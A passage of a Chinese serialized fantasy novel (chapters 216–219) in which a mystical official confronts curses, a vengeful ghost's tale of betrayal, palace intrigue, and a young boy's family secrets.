那痛楚并非持续,而是如同千百只细小的毒蚁骤然苏醒,同时在他心脉最脆弱处狠狠噬咬,又痛又痒,又麻又酸,难以言喻的折磨感瞬间攫住了他所有的感官!
玉衡**脸色骤变,脑中飞快计算日子。
府君今年竟提前降下责罚!
定是薛九针那蠢货!
他死便**,却留下这要命的烂摊子,牵动了他们所有人身上的反噬!
玉衡**再也无法维持镇定,什么面圣,什么仪态,都被抛诸脑后。
他此刻必须出宫!
他脚步踉跄地就要往殿外冲,恰在此时,一名面生的内侍低眉顺眼碎步而入,细声细气道:“**,陛下有请,请随奴婢来……”
玉衡**此刻五内如焚,剧痛与憋胀交织,几乎让他理智涣散,竟未留意到那小内侍开口时,“陛下”二字说得含糊吞吐,不甚清晰。
他紧跟在那内侍身后,几乎是迫不及待地冲出了这座让他备受煎熬的偏殿。
门外,宫道幽深,灯火阑珊。
那内侍的身影在光影中显得有些飘忽,引着他走向更深、更暗的宫殿深处。
第216章 身败名裂,遗臭万年
云昭一走进厢房,室内原本低沉的交谈声便是一静,数道目光齐刷刷地望了过来。
为首的章太医见到云昭,紧蹙的眉头微松,朝她颔首致意。
云昭走上前,朝章太医拱了拱手。
二人此前有过几次交情往来,章太医对云昭印象不错,知她不是那种抢功自傲的人。
于是低声道:“姜司主。孟大将军的情况……颇为棘手。”
他引着云昭看向床榻,“颈侧被咬掉一块皮肉,创口极深,距离颈脉仅差分毫,可谓凶险万分。
万幸金针封穴之法卓有成效,辅以上好的止血生肌散,血总算是彻底止住了。”
他顿了顿,脸上浮现困惑与担忧:“我等施救至今,已过了将近两个时辰,大将军却始终昏迷不醒,毫无苏醒迹象。
反复诊脉,虽觉其气血有亏、心神受震,但按理不至于此……实在蹊跷。”
云昭听完,先朝章太医及屋内诸位太医微微欠身:“诸位前辈精湛医术,处置得当,云昭不过粗通医术,这方面不敢班门弄斧。”
她话语诚恳,并无半分逾越或贬低之意,让几位原本因她年轻及所涉“玄术”而心存些许隔阂的太医,面色都缓和不少。
接着云昭又道:“至于大将军为何昏迷不醒……
不瞒诸位,以我所涉猎而言,本应当先行查验过阮鹤卿的尸身,明确其骤然发狂噬人的根源所在,才好对大将军的病情做出更准确的推断。”
她微微蹙眉,露出一抹无奈:“但殷家接连四人横死,死气积聚,阴煞弥漫,已成险地。而太子殿下那边又一再催促……”
她话语未尽,但其中意味在场之人心领神会,“晚辈也是不得已,才先行过来查看大将军伤势。”
章太医闻言,眼中流露出强烈的赞同,忍不住抚掌道:“正是此理!先明病因,再断症候,方是医道正途!姜司主此言,深得医理精髓!”
他越说越激动,竟转头对云昭道,“既然如此,老夫愿随司主一同前往查验阮鹤卿尸身!这等罕见病例,若不亲见,实难安心!”
旁边两位年轻的太医见状,也按捺不住心中对未知病理的好奇,加之对云昭方才展现的谦逊与条理颇有好感,亦齐齐拱手:“下官等亦愿随往,或可相助一二。”
趁三位太医准备应用之物时,云昭悄然上前两步,立于孟峥榻前。
她眼睫低垂,眸底深处,一点常人无法察觉的幽光微微流转。
玄瞳视界,开。
眼前的景象骤然变幻。
寻常人眼中的锦被安卧的彪形武将,在她“眼中”,却被一层黏腻如活物的黑色气息紧紧缠绕。
而在这浓郁的秽气深处,由无数惨白骨影构成的咒印,正深深烙印在孟峥的心口位置,随着他微弱的心跳明灭不定——
正是白骨咒。
孟峥的周身,影影绰绰环绕着上百张扭曲痛苦的鬼脸,它们无声地嘶嚎着,不断俯冲而下,啃噬他的血肉与生气。
而在这些鬼脸之中,一张美艳却血红的面孔悬浮于孟峥额头上方,猩红的嘴唇勾起一抹森然快意的笑,视线牢牢锁着昏迷的猎物。
当云昭的目光落在她身上时,那美艳鬼脸的笑容猛地一僵。
她倏地转头,对上云昭那双能洞穿阴阳的眸子,眼中瞬间掠过极其鲜明的忌惮与警惕。
她周身的怨气不自觉地收敛了几分,不敢再像方才那般肆意张扬,显是对云昭心存极大的畏惧。
云昭心中了然。今日阮鹤卿那一口,咬破了孟峥的脖颈,使其至阳之血外泄,瞬间激发了他体内潜藏已久的白骨咒。
此刻孟峥的昏迷,与其说是伤势所致,不如说是“百鬼噬魂”。
他的生魂正被这上百冤魂的怨念撕扯、啃噬,沉沦于无边痛苦幻境,无法挣脱。
若不在加阻止,不仅其肉身会逐渐血肉消融,活生生化作一具白骨;
他的三魂七魄便会被这些怨灵彻底分食殆尽,再无投胎转世的可能!
看到这一幕,云昭不由想起前些日子,孟峥命人抬入玄察司的那个浑身溃烂恶疮、气息奄奄的“病人”。
今晨出门前往将家村之前,她还特意去探看过那人。
云昭看得清楚,那人身上看似可怖的毒疮,根源并非病症或下毒,而是源于一种极为阴损的自身秘法催逼——
他是在以自身血肉为皿,喂养某种东西,或达成某种契约。
只要他自己不停止这行为,再好的药石也难根治。
想到此处,云昭抬眸,直视着那张充满戒备的美艳鬼脸。
她并未开口出声,只是嘴唇极其轻微地嚅动,以鬼语道:
“你想报仇吗?”
那美艳鬼脸猛地一震,猩红的瞳孔骤缩,死死盯住云昭,怨毒之中混杂着难以置信的惊疑。
云昭继续以鬼语无声说道:“孟峥的命,是你的,我不抢。
你想不想……将他所做的一切罪行,公之于天下?
让世间皆知他的真面目,让他身败名裂,遗臭万年?”
这一切都是云昭的猜测。
毕竟,能以百名惨死者血祭,用如此玉石俱焚的法子诅咒孟峥,个中必有冤屈!
那鬼脸怔住了,滔天的怨恨似乎都因这句话凝滞了一瞬。
她呆呆的“望”着云昭,仿佛在努力理解这句话的含义。
片刻,两行浓稠如浆的血泪,从她猩红的眼眶中缓缓滑落。
紧接着,以她为中心,周围那上百张模糊痛苦的鬼脸同时发出了尖锐爆鸣!
霎时间,无形的怨念在室内剧烈鼓荡,虽常人不可见不可闻,却让云昭感到耳膜刺痛,神魂都为之微微一荡。
云昭蹙了下眉,再次以鬼语低斥:“闭嘴吧,有事说事!”
那弥漫的鬼哭之声迅速低伏下去,只剩下委屈巴巴的抽噎。
美艳鬼
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脸用幽幽的鬼语回道:“我乃南疆九黎遗脉,黑石寨的‘司月圣女’阿措依……
那年他领兵巡边,误入瘴林,身中奇毒,性命垂危。
是我不顾族规,引他入寨,以世代相传的‘月华蛊’吸出他肺腑剧毒,衣不解带照料他整整三个月。”
她的声音里浮现出一丝遥远的、连自己都感到讽刺的柔和,随即被更深的恨意碾碎:
“他醒来后,对着我们供奉的山神发誓,说待他回朝复命,必以正妻之礼,迎我入京,此生绝不相负。”
血泪再次蜿蜒而下,那美艳的脸庞因痛苦而扭曲:“我信了……我甚至怀了他的骨肉!
当我告诉他这个消息时,他欣喜若狂,说这是天赐的麟儿,是联结汉苗的祥瑞……
就在我最不设防的时刻,他状似无意地问起,我族是否真如传说那般,守护着能‘聚山川灵韵,助王侯气运’的至宝——九黎血玉璜。”
阿措依的鬼脸发出尖厉的冷笑:“多么可笑!我竟将此视为他对族中传承的尊重与好奇!
我告诉他,血玉璜乃远古祖神所赐,与我族地脉相连。
是**一方水土、保佑族运的圣物,非祭祀大典不得请出……
他却说,只是想见识一下,了却对古物的仰慕之心。”
“是我鬼迷心窍,避开了守卫,悄悄将他带入圣地祭坛,为他请出了供奉在岩芯深处的血玉璜!
他接过玉璜的瞬间,眼神就变了!
他猛地将我推开,我摔倒在祭坛边,腹中剧痛……
看着他头也不回地持璜冲向寨门,那里早有他埋伏的精兵接应!族人们被惊动,追了出去……”
阿措依的叙述被上百张鬼脸齐声发出的悲鸣打断。
后面的故事,显然阿措依和百鬼不愿全部讲完!
但云昭听得眉目微沉,若阿措依讲的都是真的,那孟峥就是杀良冒功!根本不配护国大将军威名!
云昭直接点破:“那个躺在担架上、浑身毒疮的小病秧,是你族中幸存之人吧?”
以百名族人血祭成就“鬼后”之身的阿措依,血红的鬼脸目光急剧闪烁。
她血泪未干,却紧紧闭上了嘴,不肯再轻易吐露半分。
显然,即便云昭表现出对孟峥的敌意并提供了诱人的提议,但历经背叛与**、以最惨烈方式成为鬼物的她,对任何人都抱有极深的不信任。
尤其是云昭这样身份莫测、玄术强大到令她忌惮的中原官员。
云昭对她的戒备不以为意,也不再追问细节,只是道:“你们之间,想必有独特的传递讯息之法。
告诉他——明日清早,京城鼓响第一通时,就去敲登闻鼓,告御状!”
她顿了顿,迎着阿措依充满犹疑的鬼火双眸,一字一句,以鬼语郑重道:
“你若真有血海冤屈,我姜云昭,便给你一个在圣驾御前,亲口陈情、直面仇人的机会!”
第217章 姜绾心是完美祭品
阿措依的鬼脸上闪过一抹幽光。
突然,她张开猩红的嘴唇,豆大的泛着青碧光晕的魂火被缓缓吐出。
魂火飘飘荡荡,如同被无形之手牵引,径直朝云昭飞来。
云昭神色不动,只平静地伸出左手。
那点青碧魂火精准地落在她无名指上。
非但没有灼热感,反而沁出一丝清凉,安静地附着在指甲表面,最终化为一朵青色焰莲。
阿措依的鬼语随之响起:“此乃吾以魂血于祖灵见证之下,所化魂焰。”
她猩红的眸子锁定云昭,“若你真能护我族人岩诺安然抵达御前,确保他将孟峥罪行全盘托出,不受阻拦,
从今往后,此莲便会化作一缕纯粹魂力,滋养于你,算是我族对你的谢仪。
但若你中途背信,这朵焰莲便会循魂契反噬。
它将成为我对你永恒的诅咒,直至你死后遁入轮回,亦难解脱!”
云昭眼波微动。
很明显,阿措依对她根本没有更多的寄望,她与族人所求,不过是个面圣直言的机会。
也就是说,阿措依及其族人手中,极可能掌握着足以扳倒孟峥的铁证!
思绪及此,云昭心中不由一动,她从前只在祖师爷爷留下的手札中窥见过零星记载。
说修行之人若机缘深厚、法力足够,或有幸遇上怨念纯粹的鬼主,可尝试为其开释心结,缔结“共生魂契”。
此类强大的魂体一旦甘愿受束,便可成为修行者极为特殊的“鬼侍”。
云昭平日处理诸多诡谲事务,能在玄术一道上为她分忧的,唯有一个半路出家的孙婆子。
若能得阿措依这样一位怨力滔天却又并未滥杀无辜的“鬼后”自愿缔结魂契,其助力将不可估量。
云昭攥了攥留有青莲印记的指尖,对阿措依的鬼影微一颔首。
接着,云昭与迫不及待的章太医及两位年轻御医,一同离开了孟峥的厢房,转向殷府临时安置阮鹤卿尸身的僻静柴房。
云昭走上前,手法利落地检查了阮鹤卿尸身多处关键部位。
片刻后,她直起身:“与我此前猜测相符,阮鹤卿中了某种咒术,且这种咒术之中,不含任何毒物。”
章太医捻着胡须,忽然冒出一个惊人的猜想:“孟大将军昏迷不醒,莫非是这劳什子咒术转移到他身上了?”
云昭没想到这位严肃的老太医想象力如此“奔放”,她清咳了声道:
“咒术之力并非疫病,不会通过撕咬轻易‘转移’。孟大将军的情况……可能另有缘故。”
她当然不会直言孟峥昏迷不醒是因为中了白骨咒。
今夜她故作懵然,寻了理由与章太医等人同行验尸,正是为了制造“公开勘查”的流程,避免日后有人疑心她单独对孟峥做了手脚。
旁边两位年轻御医则小心翼翼地用金针探入阮鹤卿几处穴位,观察血色与反应,一边低声交流着,一边认真记录。
正在这时,一名玄察司属下快步来到柴房外,扬声禀报:“司主!孟大将军醒了!”
“醒了?”
章太医一脸错愕,怎么人突然就醒了?
云昭向章太医拱了拱手:“定是诸位先前施救得法,稳住根本。大将军吉人天相。”
章太医眯起眼睛,目光在云昭脸上转了两圈,又捋了捋胡须,最终只是“唔”了一声,没再多言。
四人匆匆赶回前院。
只见太子站在院中,脸色比之前更加苍白,眼神发直地望着前方厢房门口。
孟峥不仅醒了,而且拒绝任何人的搀扶,径自掀开帘子,一步步走了出来。
他身形依旧魁梧,步伐似乎也与平日无异,颈侧的伤口已被重新妥善包扎,外表看去,除了失血后的些许虚弱,并无大碍。
唯有那一双眼睛。
那双原本锐利如鹰隼的眸子,此刻漆黑得像是吞噬了所有光线的古井。
云昭一眼便看穿,孟峥并非真正清醒,而是宛如提线木偶,被阿措依以怨力和鬼力强行操控着!
真正的孟峥,其生魂恐怕仍在百鬼撕咬的幻境中苦苦挣扎。
跟随孟峥一起来殷府提亲的孟家小公子见状,喜极而泣,扑上前一把抱住孟峥的腿,嚎啕大哭:“兄长!兄长你可算醒了!吓死弟弟了!”
孟峥对此毫无反应,连眼皮都未眨一下。
一位御医谨慎地上前,为孟峥诊脉。
片刻后,他松开手,面带疑惑地喃喃道:“脉象趋于平和,略显濡弱,乃是失血后气虚之兆。”
可明明一刻钟前,他们才为孟大将军诊脉,彼时那脉象分明像是个将死之人!
孟峥忽而开口,一字一顿,慢吞吞地道:“我要进宫面圣。”
此言一出,满院皆静。
所有人都觉得孟峥说不出的古怪,但又说不出到底是哪怪。
太子几乎是下意识地将视线投向孟峥脚下——
灯笼的照耀下,孟峥的影子被拉得很长,投在青石板地上。
那影子轮廓清晰,瞧着没有任何不对劲。
太子咽了口唾沫,对孟峥道:“大将军刚醒,还需静养。孤今日有些不适,需要休息片刻,就不与大将军一同入宫了。”
就在这时,隔着稀疏的人群,萧启的目光与云昭悄然交汇。
他想起不久前云昭派人送至他手中的那张字条。
萧启道:“大将军忠勇可嘉,醒来即刻念着面圣禀报。既然太子殿下需歇息,那便由本王亲自护送大将军入宫吧。”
孟峥缓缓点了点头,依旧没说话,只是微弓着背,腰身僵直,径直朝府门外等候的车驾走去。
那走路的姿势,唬得一旁孟小公子竟呆在原地,好一会儿才回过神,拔步追了上去。
云昭站在原地,冷眼旁观。
在她的玄瞳视界中,美艳的鬼后阿措依,正以双腿紧紧盘绕在孟峥的脖颈之上,一双鬼手插入他浓密的发间,仿佛驾驭坐骑般操控着他前行。
孟峥即将走出前院之际,她突然回头,朝云昭所在的方向,扯开一个恶毒又灿烂无比的笑容。
*
皇宫。
玉衡**踏出净房,徐徐吐出一口浊气。
虽然心口那蚁噬般的阴痛仍在隐隐作祟,
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但至少头脑清明了许多。
一道纤细的人影自花丛后悄无声息地转了出来,朝着他盈盈拜下:“师尊。”
先前那负责引路的小内侍早已不见踪影,玉衡**当即明白过来。
他脸色骤然一沉语气是毫不掩饰的冷淡:“胡闹!简直不知轻重!
陛下命为师在偏殿等候传召,你却用这等伎俩将为师诓骗至此!有什么急事,不能循正途递话?”
姜绾心抬起脸,带着哭腔道:“师尊恕罪!弟子实在是走投无路了!
宋白玉惨死的事,想必师尊已然知晓。
都怪姜云昭!
她不知用了什么妖法,先后逼**宋白玉和苏玉嬛,且让那宋白玉死前对弟子下了血咒!
弟子腹中还怀着太子殿下的骨肉呢!求师尊慈悲,救救弟子吧!”
玉衡**的目光如冷电般,在姜绾心周身剜了一圈,视线尤其在她眉心命宫停留片刻。
他缓缓道:“这血咒确实折磨,不能一直留在你身上。”
姜绾心闻言,连忙双手合十,对玉衡**道:
“多谢师尊!师尊道法通天,慈悲为怀!弟子就知道,这普天之下,唯有师尊能识破此咒,救弟子于水火!”
玉衡**听着这些奉承,脸上并无多少得色,反而眼底深处那抹厌恶又清晰了些许。
他低喃自语,声音轻得几乎散在风里:“你确实……不宜死这么早。”
毕竟,他曾在府君座前,借助那盆“观世水”,清晰地窥见过他们这些人命运交织的一角“未来”。
在那朦胧的预示中,姜绾心这身凤格可是宝贵得很!关键时刻,是一件堪称完美的祭品!
想到这里,他压下心头不耐,用拂尘虚虚一点仍跪在地上的姜绾心,语气带着施舍般的意味:
“罢了。今夜,为师便设法除了你身上这血咒。”
说到此处,他唇角极其细微地向上牵动了一下,目光幽深地看向姜绾心,
“不过,欲解此咒,需有‘血肉替身’主动承接。你可曾想好……让谁来当这个‘替身’了?”
姜绾心浑身一震。
她忽而想起此前娘亲也曾说过,要牺牲她腹中的孩儿,方能最大限度地削弱血咒。
这个替身,想必就是母亲口中,与她血脉相连的亲人了。
一时间,所有家人的面孔,如同走马灯般在她脑海中飞速闪过。
堂妹姜绾宁,如今恐怕早已是一具冰冷的尸首,坟头草都该长出来了。
三房温氏那双女儿,如今被姜云昭那个**养在昭明阁里,身边还有玄察司的暗哨,根本无从下手。
至于父亲、兄长姜珩,还有幼弟姜珏……
男人终究是要入朝为官,在外面为她撑起门面、巩固权势的倚仗。
折损了任何一个,于她都是莫大的损失。
况且,兄长和小弟正值壮年,阳气旺盛,未必是承接阴毒死咒的最佳容器。
思来想去,阖家上下,最没什么用处的,就是……
良久,姜绾心听到自己的声音清晰响起:
“我选……祖母。”
第218章 放孤下来——!
太子僵立在原地,只觉得周身温度骤降,明明已是盛夏,寒意却丝丝缕缕从脚底攀爬上来,直钻骨髓。
晚风吹过庭院,灯笼摇曳,地上的光影便跟着晃动变幻。
每一道摇曳的影子都让他心惊肉跳,仿佛里面随时会伸出无形的手,去撕扯啃噬他的影子。
太子双腿如同灌了铅,竟连挪动一步都万分艰难,后背的冷汗早已浸透内衫,凉飕飕地贴在皮肤上。
他下意识地将求救的目光投向不远处一直静立着的裴琰之——
谁知,就在他目光触及的瞬间,裴琰之忽然身形剧烈一晃,竟在全场注视下,直挺挺地倒了下去!
太子:“……”
明明说好的,稍后见了姜云昭,裴琰之要替他去求情,设法让姜云昭出手解决他影子的问题!
他还在这里强撑着,裴琰之居然先晕了?
一股被背叛的怒火混合着更深的恐惧,气得太子眼前阵阵发黑。
偏偏此时,章太医闻声疾步上前,只粗略一看裴琰之胸前重新洇出的血迹,便当即低声斥道:
“胸口中了贯穿之伤,气血两亏至此,竟还强撑到现在不言语!简直是拿自己的性命开玩笑!”
云昭垂眸看了一眼昏迷的裴琰之,温声道:“章太医教训的,是晚辈托大了。
先前情况紧急,只以金针暂时封住裴大人伤口周遭大穴,止住血涌,便以为能撑得住。”
她说完,头也不回地朝身后吩咐,“来人,速将裴大人小心抬上担架,即刻送往玄察司,我要亲自为裴大人救治!”
吩咐完毕,她竟头也不回,转身便朝府门方向走去。
太子心头那根紧绷的弦终于断裂,恐慌压倒了一切!
他再也顾不得什么储君威仪,失声喊道:“姜云昭——!!!”
那声音因为极度的惊惧而变了调,在寂静的庭院里显得格外刺耳。
院内所有御医、侍卫,乃至殷府奴仆们,无不惊讶地看着太子。
云昭脚步一顿,略显错愕地回身。
她一脸疲色,语气平和却疏离:“不知太子殿下还有何吩咐?”
她看了一眼天色,耐心解释道,“殿下放心,殷府后院的阴煞尚未彻底净化,阮家尸身也需进一步处置,诸事未了。
我只是先回一趟玄察司,先为裴大人处置了伤口,再取几样紧要的法器和药材,稍后定会折返。”
太子嘴唇嚅动着,脸色青白一片。
那句“孤的影子不对劲,你快帮孤看看”在舌尖滚了无数遍,最终却一个字也吐不出来。
让他开口求姜云昭,一个本该早就死在清微谷的卑微草民,一个他曾数次赌咒发誓必定要肆意调教的小小女子,这比杀了他还难受。
云昭却不再理会,转身快步离开了。
“你别走……”
随着云昭的身影彻底消失在影壁之后,太子只觉得支撑身体的最后一点力气也被抽空,膝盖一软,竟朝着冰冷的地面瘫软下去。
“快!快扶住殿下!”章太医大惊失色,连忙指挥左右。
御医们纷纷围拢过来,七嘴八舌地道:
“殿下这是劳神过度,惊惧伤身!”
“殿下昨日才受了伤,元气未复,今日实在不该再亲临这等纷乱之地!”
“抬进去,让殿下静卧休养!”
侍卫们手忙脚乱地将浑身虚软的太子扶上早已备好的担架。
太子神智尚存一丝清明,被抬着走向那间厢房时,眼瞧着里面为照明而点燃了数十盏灯烛。
屋内众人忙碌走动的影子交错晃动,在地上拉出各种扭曲变幻的形状。
“不!孤不要进去!放孤下来!”太子猛地挣扎起来。
一位年长的御医见状,捋须沉稳吩咐:“殿下这是神思过激,魂不安舍。速去煎一碗安神定魄汤来。”
“孤用不着喝那个!”
太子嘶声道,猛地挥开试图靠近的宫人,赤红着眼睛瞪向自己的侍卫统领,用尽力气命令道,
“去!你亲自带人去!把姜云昭给孤绑回来!立刻!马上!”
侍卫统领单膝跪地,脸上写满了为难。
储君的命令本应如山,不可违逆。
但那姜云昭不仅是朝廷正四品命官,玄察司司主,更是未来的秦王妃!
众目睽睽之下,没有任何正当理由,强行将一位这样的官员从街上捆绑带回……
这要是传出去,明日朝堂之上,那些御史言官的唾沫星子都能把东宫淹了!
况且东宫上下无人不知,太子的名声近来已岌岌可危,与陛下的父子亲情也不似从前……
拂云急忙凑到太子耳边,低声劝慰到:“殿下,殿下您冷静些!玉衡**应当就快到了!他定有办法!”
“玉衡……”太子眼神涣散了一瞬,随即被更深的怨怒取代“他若一心为孤,早该到了!
去!给孤去寻别的!寻真正有本事的玄师来!京都这么大,难道只有一个玉衡吗?!”
他此刻才痛悔,自己过去太过倚重玉衡**,以至于身边竟无其他堪用的玄门之人!
若是提早网罗了十个八个,何至于如今这般狼狈,受制于人!还要强忍羞辱去求姜云昭!
忽地,他趁自己被安置在床榻边缘之际,用尽全力一把拽住拂云,将她拖得“扑通”一声,重重跪在脚踏前。
太子俯身逼近,几乎是贴着她的耳朵,用嘶哑而急切的气音命令道:
“去找……去找皇叔公身边那个!那个姓穆的玄师!把他给孤找来!
不论他要什么,金银、美人、官职……孤都满足他!”
皇叔公?
拂云被拽得生疼,闻言却是一愣,脑子里转了一圈,陡然反应过来,太子指的竟是那位早已获罪身死、被追夺一切封爵的永熙王!
永熙王沉迷邪术,身边的确曾**过一批方士道人,其中有一个姓穆的,神出鬼没,手段诡谲,行事极邪……
回想起永熙王做下的那些孽事,拂云不禁生生打了个寒战,一股凉意从尾椎骨窜上。
可太子的目光灼热而疯狂,紧紧锁着她,里面充满了孤注一掷的癫狂,简直像是要将她生吞活剥。
拂云不敢再犹豫,压下心头的惊惧,深深地低下头去:“奴婢这就去想办法寻访。”
*
马车在寂静的街道上辘辘前行。
车内,云昭对车夫沉声吩咐:“不去玄察司。转道,去最近还能买到吃食的饭庄。”
吩咐完毕,她不再耽搁,立刻俯身查看躺在对面座榻上的裴琰之。
他双目紧闭,眉心因痛苦而蹙起,胸前衣襟的血迹已泅湿了一圈。
云昭手法利落地解开他的外袍与
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中衣,只见绷带已被血浸透。
她将之前那几根金针拔出,从一个青瓷小瓶里倒出些淡金色的粉末,均匀撒在创面上。
那药粉触血即凝,散发出清苦的草木香气,很快便形成了薄薄一层保护膜。
接着,她又取出一个扁平的玉盒,用竹片挑起适量药膏,涂抹在伤口周围红肿之处,帮助化瘀生肌。
裴琰之喉间溢出一声闷哼,长长的眼睫颤动了几下,缓缓睁开了眼睛。
他眸光初时有些涣散,很快便聚焦在正专注为他处理伤势的云昭脸上。
云昭手上动作未停,只是抬眸看了他一眼,淡淡道:“忍着点。瘀血需化开。”
裴琰之脸色依旧苍白如纸,额角有细密的冷汗。
他闭了闭眼,再睁开时,眼底已恢复了清明。
他依言没有动弹,任由云昭处置,半晌,才吐出一口带着血腥味的浊气,声音沙哑道:
“多谢姜司主再次出手相救。下官……已感觉好多了。”
他顿了顿,继续道,“只是皮肉之伤,不敢再劳烦司主。稍后马车经过东市,将下官放在路边即可。下官可以自行回府。”
云昭将最后一点绷带打好结。
她直起身,拿起一旁的湿帕子慢慢擦着手,目光却平静而锐利地落在裴琰之脸上。
仿佛要透过他那张总是温雅恭顺的面具,看清底下的真实。
“裴大人,”她忽然开口,语气听不出喜怒,“你很怕我?”
不然,为什么总感觉他似乎在躲着她?
可若要躲避她,今日她欲往阮府和殷府,他又为何主动请缨,寸步不离地跟着?
难道真如传言所说,这裴琰之,一心为太子效力,跟在她身边就是为了监视她的一举一动?
裴琰之眼睫倏然垂下,在下眼睑投下一小片阴影。
他沉默了片刻,才低声道:“姜司主说笑了。司主处事果决,心怀慈悲,下官只有敬佩,何来惧怕?
只是……下官终究是太子殿下举荐入朝,身份敏感。
下官实在不愿因己之故,给司主平添任何不必要的麻烦与猜忌。
远离一些,对司主,对下官,或许都好。”
这番话说得滴水不漏,情理兼顾,既捧了云昭,又表明了难处,更划清了二者之间的界限。
云昭静静地看着他。
她知道,裴琰之没有说实话。
但他今晚恰到好处地晕倒,和方才这番话,足以证明此人实则是个心思剔透的聪明人。
云昭从袖中取出一个白瓷小瓶,递到裴琰之面前:
“每日早晚各服一粒,温水送下。有助于化瘀生新,补益气血。”
裴琰之伸手接过:“多谢司主赠药。”
就在这时,马车缓缓停住,车夫在外禀报已到东市口。
裴琰之他强撑着坐起身,对云昭再次拱手:“司主大恩,下官铭记。就此别过。”
话音未落,他已动作有些急迫地掀开车帘,忍着胸口的闷痛,翻身下了马车,脚步甚至踉跄了一下。
他没有回头。
一下马车,他便迅速直起身,拉紧了身上沾染血迹的外袍,几乎是逃也似的,快步汇入了东市夜晚的人潮之中。
这一晚,云昭本以为自己要在殷府度过整夜,却不想天还未亮,她先接到的,是来自姜府的求救。
第219章 已存死志,将钥匙交还云昭!
天还未亮。
一阵急促的敲门声,打破了黎明前最深沉的寂静。
莺时迅速披上外衫,轻手轻脚走到门边低声询问。
不一会儿,她匆匆折返,撩开内室的帘幔,对帐中已然睁开双眼的云昭低声道:“司主,是姜府来人了。”
云昭嗓音里还残留着几分刚醒的沙哑,却异常清明:“是老夫人不好了?”
“正是。”
跟在云昭身边日子久了,莺时对自家姑娘这种近乎未卜先知的敏锐早已习惯,只轻声道,
“来的是姜珏。他说老夫人昨天半夜就不大好,半边身子僵硬,竟是不能动了。”
是因她昨日派人传话,听说了姜珩在那番邦公主面前屈膝当马凳的丑闻,急怒攻心?
即便真是因此中风,也该是火速去请大夫,为何要辗转来寻她?
毕竟,她和姜珏,可没有半点交情。
莺时又道:“说是府里已经请了相熟的大夫来看过,施了针,也开了通络活血的方子。
可老夫人服了药,非但不见好,反而一直惊恐地瞪着眼睛,含糊地嚷嚷……
说屋里、床边有鬼,有黑色的影子缠着她,要来索她的命了。一整宿,闹得阖府不宁。”
云昭坐起身,帐外昏暗的光线勾勒出她沉静的侧影:“怕鬼,所以想起我这个据说能驱邪捉鬼的玄察司主了?”
莺时轻声道:“姜珏说……他有一个关于姜家的秘密,想说与大姑娘知道。
他说,如若大姑娘听了,觉得这个秘密有价值,就答应他一个请求。”
她顿了顿,补充道,“他独自一人来的,身边连个小厮都没带,样子看起来……很不一样。”
云昭静默了片刻。
她没兴趣和姜家任何人做交易。
在她眼中,姜家上上下下,从姜世安、梅柔卿到眼前这看似稚嫩的姜珏,乃至床上那半死不活的老夫人,或早或迟,都是**。
云昭简单梳洗,坐在桌边,就着两碟酱菜,慢条斯理地喝着熬得浓稠的白粥。
“让他进来。”
帘栊轻响,一个身影略显单薄的少年走了进来。
姜珏上个月刚满十岁,已然褪去了孩童的圆润,开始显露出小小少年的清隽轮廓。
他的眉眼继承了姜家不错的皮相,脸色惶然,嘴唇紧抿,眼神却并游移,反而带着一种孤注一掷的坚定。
云昭平静地端详他片刻,淡声开口:“你所谓的秘密,我不一定有兴趣知道。即便我听了,也不一定会答应你的任何要求。
话,想好了再说。在我这里,没有反悔的余地。”
姜珏放在身侧的手微微攥紧了衣角,他深吸一口气,迎上云昭的目光,声音因紧张而有些发干:“我的秘密,事关梅姨娘,和我的母亲……杨氏。”
“前些日子,梅姨娘私下找到我,对我说……她才是我的生身母亲。她说,让我从今往后,心里要清楚谁才是真正的娘亲,要帮着亲姐姐绾心,将来才有好前程。”
少年的声音里带上了一丝不易察觉的颤抖:“可是在我心里,从我记事起,疼我、教我、夜里为我掖被、病中为我熬药的,只有母亲杨氏!她才是我的娘亲!
梅姨娘……她不过是客居在府上的一个姨娘!”
云昭心中微诧,但面上丝毫不显。
她回想起杨氏生前对梅氏那种近乎诡异的维护,乃至临死前仍不忘高声要梅柔卿好生照料她一双儿女……
“杨氏当年新寡,膝下无子,需要一个儿子来支撑二房门楣,稳固地位;
而梅氏需要一个名正言顺的‘嫡子’身份来安置自己的儿子,确保你未来能分得家产,有所倚仗。
于是,这姐妹二人里应外合,上演了一出‘移花接木’,是么?”
姜珏愣了一下,显然没想到云昭反应如此之快,剖析如此之准。
他点了点头,脸色更白了几分:“母亲待我极好,我从未怀疑过自己的身世,直到梅姨娘亲口对我说出真相……”
他喉头哽住,眼圈不受控制地红了:“我还知道,我母亲不是被你害死的。她是死在了梅姨娘手上!
之后,梅姨娘为了转移姜绾心身上恶咒,选中了我阿姊绾宁!
我亲眼看到阿姊被那诅咒折磨得人不人鬼不鬼,最后气息奄奄地被送去了庄上!”
少年的胸膛剧烈起伏,眼泪终究还是滚落下来,“祖母说,你是回来复仇的恶鬼,是来报复我们全家的……或许祖母说的是真的,但我不怕死。”
他伸出手,掌心里是一把钥匙:“这是祖母藏田产地契的钥匙,我看过,那些本该是大伯母的东西。现在我把它交还给你。”
他抬起袖子狠狠抹了把脸,看向云昭,眼神里是一种与年龄不符的复杂:
“我只有一个请求,真有那一天,你要处置我的时候,请把我和我阿娘、阿姊的尸身葬在一处。在我心里,我的亲人,唯有她们。”
说完,他后退一步,撩起衣摆,朝着云昭规规矩矩、端端正正地磕了一个头。
云昭静静地看着他伏地的背影:“梅氏是你的亲娘,姜世安是你的生父。
告诉我这些,还把祖母的私库钥匙给了我,等于背叛他们。你心里,就毫无不舍?”
姜珏缓缓直起身,脸上露出一抹惨淡到极致的笑容:“在大姐姐心里,会把姜世安当成你爹吗?”
云昭沉默了片刻,语气毫无波澜:“是他,从未把我当成过他的女儿在先。”
在姜世安眼里,姜府所有的子女,都只是随时可以舍弃或利用的棋子,是维系他权势利益的工具。
姜珏扯了扯嘴角:“大姐姐说的不错。父不贤,子何以孝?在我心里,也从未把他们俩……真正当作过我的爹娘。”
云昭看着姜珏那双过早染上死气的眼睛,心中了然。
姜珏原本的世界里,父亲早逝,但有慈母爱姊,二房嫡子的日子,幸福且安稳。
他或许曾崇拜那位官居尚书、威严持重的大伯姜世安,也曾对那位总是温柔含笑的梅姨娘心存好感。
可一夕之间,最崇拜的大伯成了他难以启齿的生父,身份微妙的梅姨娘竟是生母!
而视他如珍宝的养母和相依为命的姐姐,竟都死于梅氏这位生母之手!
梅柔卿机关算尽,殊不知正是她的贪婪与狠毒,已经彻底毁了这个年仅十岁的少年。
这孩子已存死志!对继续活着,没有任何指望了!
云昭开口,声音不高,却清晰肯定,“我可以答应你。”
她站起身:“走吧。我与你一同回趟姜府。”
